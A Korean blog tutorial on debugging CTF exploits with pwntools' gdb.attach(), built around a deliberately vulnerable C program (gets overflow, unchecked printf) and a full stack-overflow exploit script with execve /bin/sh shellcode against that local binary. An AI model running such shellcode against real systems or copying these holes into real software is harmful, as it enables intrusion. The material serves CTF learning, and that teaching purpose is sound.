티스토리 뷰

gdb.attach 사용법

wargame이나 ctf 문제를 풀 때, 혹은 바이너리를 분석 할 때 파이썬으로 데이터를 입력하는 경우가 자주있다.

example

p = process("binary")
p.sendline("AAAA")

이 때 내가 입력한 데이터가 원하는데로 바이너리에 잘 입력이 되었는지, 스택은 잘 덮혔는지 확인하기 위해서 gdb를 사용해 디버깅을 할 수 있다. 보통은 다음과 같이 코드 내에 raw_input()을 넣어서 실행을 잠시 멈춘 다음, gdb로 실행된 binary의 pid 로 붙어서 디버깅을 한다.

example

p = process("binary")
raw_input("1")
p.sendine("AAAA")
$ ps -ef
..... 4111 ... binary
$ gdb -p 4111

raw_input 함수는 파이썬에서 사용자의 입력을 받는 함수로, 사용자의 입력을 받기 위해 스트림을 열고 대기하게 된다. 이를 이용해서 파이썬 실행을 중간에 멈출 수 있고, gdb 로 pid에 붙기 위한 시간을 벌 수 있다.

사실 사용자 입력을 받는 함수는 raw_input 뿐만 아니라 input이라는 함수도 있는데 raw_input을 사용하는 이유는, raw_input 은 사용자의 입력을 모두 string으로 처리하는 반면에 input 함수는 사용자가 입력하는 값을 파싱해서 해당되는 타입으로 형변환을 하여 변수에 저장하게 된다. 그리고 input 함수로 입력받을 때 아무 값도 입력하지 않을 경우, 파싱에러가 나는 문제가 발생한다. 우리는 입력을 받지 않고, 단순히 프로그램 실행 흐름을 잠시 멈추기 위함 이므로 raw_input을 사용한다.

이 과정을 조금 더 단순화 하기 위해서는 pwntools의 gdb.attach() 를 사용하면 된다.

example

p = process("binary")
gdb.attach(p)
raw_input("1")
p.sendine("AAAA")

사용방법은 gdb.attach(process) 와 같이 사용하면 되는데 gdb.attach()가 실행되면 gdb가 새 창으로 실행된다.

gdb.attach 사용해보기

Source Code

#include <stdio.h>

int main()
{
        char buf[10];
        puts("this is bof test\n");
        printf("hint is %p\n", buf);
        puts("input : ");
        gets(buf); // vuln!
        printf(buf);
        return 0;
}

바이너리는 간단한 Buffer Overflow 취약점이 있도록 작성했으며, 편의를 위해 Nx를 disable하고, buf 변수의 주소를 출력한다. 시나리오는 buf 변수가 10byte 밖에 되지 않기 때문에 스택의 ret 아래 영역에 shellcode를 입력하고, ret 에 shellcode의 주소를 넣어서 exploit을 하도록 한다.

[image-1]

buf 변수는 ebp기준 0x12 만큼 떨어진 곳에 위치해있다. 0x12byte+0x4byte(sfp) 만큼 dummy 값을 넣고, shellcode를 채운 다음, buf의 주소값으로 shellcode 가 들어갈 공간의 주소를 계산한다.

 

exploit code

from pwntools import *
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

p = process("./test")
print p.recvuntil("hint is ")
buf = int(p.recvuntil("\n"),16) # leak buf address
print "[+] buf address : "+hex(buf) 

addr_shellcode = buf+0xa+0x4+0x4 # sizeof(buf) + sizeof(sfp) + sizeof(ret)
# 더해주는 이유는 스택은 아래로 내려갈 수록(pop 될 수록) 주소값이 커지기 때문이다.
print hex(addr_shellcode) 
# payload 
payload = "A"*0xa + "B"*0x4 
payload += p32(addr_shellcode)
payload += shellcode
# exploit
print p.recvuntil("input : ")
p.sendline(payload)
p.interactive()

위와같이 코드를 작성하면 우리가 만들었던 취약한 바이너리를 exploit 할 수 있다. 물론 이번 경우는 간단한 예제라 exploit code 작성이 비교적 간단하지만, 조금 복잡한 바이너리의 경우 입력한 데이터가 메모리에 어떻게 올라갔는지 확인해야하는 경우가 있다. 위 exploit code를 이용해서 우리가 입력한 값들이 생각한데로 잘 입력이 되었는지 gdb.attach()를 이용해서 확인해본다.

 

exploit code with gdb.attach

from pwntools import *
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

p = process("./test")
gdb.attach(p) # GDB ATTACH !!!!
print p.recvuntil("hint is ")
buf = int(p.recvuntil("\n"),16) # leak buf address
print "[+] buf address : "+ hex(buf) 

addr_shellcode = buf+0xa+0x4+0x4 # sizeof(buf) + sizeof(sfp) + sizeof(ret)
print "[+] shellcode address : "+ hex(addr_shellcode) 
# payload 
payload = "A"*0xa + "B"*0x4 
payload += p32(addr_shellcode)
payload += shellcode
# exploit
print p.recvuntil("input : ")
raw_input("1") # PAUSE PROCEDURE !!!!!
p.sendline(payload)
p.interactive()

gdb.attach() 에는 process 함수로 생성된 프로세스 객체를 넘겨주면 된다. gdb.attach()가 실행되면, 새 창이 뜨면서 gdb가 실행되고, gdb는 우리가 인자로 넘긴 프로세스에 붙어서(attach) 디버깅할 수 있는 상태가 된다.

process 함수는 pwntools 에 있는 함수이다.

gdb.attach(p)는 보낸 데이터에 대해 디버깅하고 싶은 포인트 전에만 실행하면 된다. 위 코드의 경우 필자는 payload가 메모리에 정상적으로 입력되었는지를 확인하고 싶기 때문에 p.sendline(payload)전에만 gdb.attach(p)를 실행하면 된다.

[image-2]

gdb.attach() 가 실행되면 [image-2]의 오른쪽 화면 처럼 새 창으로 gdb가 실행된다. 아직 gdb에 bp가 걸려있지 않은 상태이기 때문에 여기서 실행시키면 그대로 실행이 끝까지 되버린다. gdb.attach()가 실행되었다고 해서 중간에 멈추지 않기 때문에 파이썬 코드는 그대로 끝까지 실행이 되버린다. 그러면 bp를 걸 수 없기 때문에 raw_input() 을 중간에 넣어서 잠시 실행을 멈추고, break point를 걸면된다.

중요!

  1. bp를 걸고나서 'r' 명령어가 아닌 'c' 명령어로 실행시켜야 한다. 'r' 명령어는 프로세스를 재실행시키기 때문에 현재 파이썬에서 실행한 프로세스가 아닌 새 프로세스가 실행되어서 파이썬에서 입력한 데이터가 전달되지 않는다.

  2. raw_input()을 넣은 지점과 bp 지점을 잘 맞춰야한다. _[image-2]_에서 왼쪽 파이썬 실행창을 보면 이미 프로세스는 puts("input\n"); 까지 실행이 된 것을 확인할 수 있다.

    실제로는 puts 뿐만 아니라 gets()함수까지 실행해서 input을 기다리고 있을 것이다. raw_input() 은 파이썬에서 대기하는 것이기 때문에 프로세스는 이미 그 이후까지 실행을 한 상태인 것이다. 그래서 gdb에서 main entry 에 bp를 걸고 'c' 를 입력한 후, raw_input()에 입력해서 실행을 재게하면 프로세스에 break가 걸리지 않고 그대로 끝나버린다.

    확실한 내용이 아니라 주관적인 생각입니다. 혹시 정확하게 아시는분께선 알려주세요 ㅠㅠ

    그렇기 때문에 break point는 가급적 입력 함수를 호출하고난 다음 인스트럭션에 지정하는 것이 좋다.

    call gets
    add esp, 0x4 ; 요런데

    [image-3]

[image-3] 처럼 gets() 호출 직후 명령어에 break point를 걸고, 'c' 명령어로 프로세스를 마저 실행하도록 한다.

[image-4]

파이썬이 실행되고 있는 프롬프트로 돌아가서 엔터키를 누르면, raw_input()에 입력이 들어가면서 대기중이던 파이썬 코드를 마저 실행한다. 그러면 [image-4]와 같이 방금 걸었던 break point에서 멈춘다. 여기서부터 디버깅을 진행하면 된다.

[image-5]

ret 명령어까지 'ni' 명령어로 실행을 하고, 메모리를 확인해보면, shellcode가 정상적으로 입력되어 있으며, ret 영역에는 shellcode 가 저장되어 있는 공간의 주소가 정확히 들어가 있는 것을 확인할 수 있다.

아래는 위의 과정을 보여주는 간단한 영상이다.

댓글
댓글쓰기 폼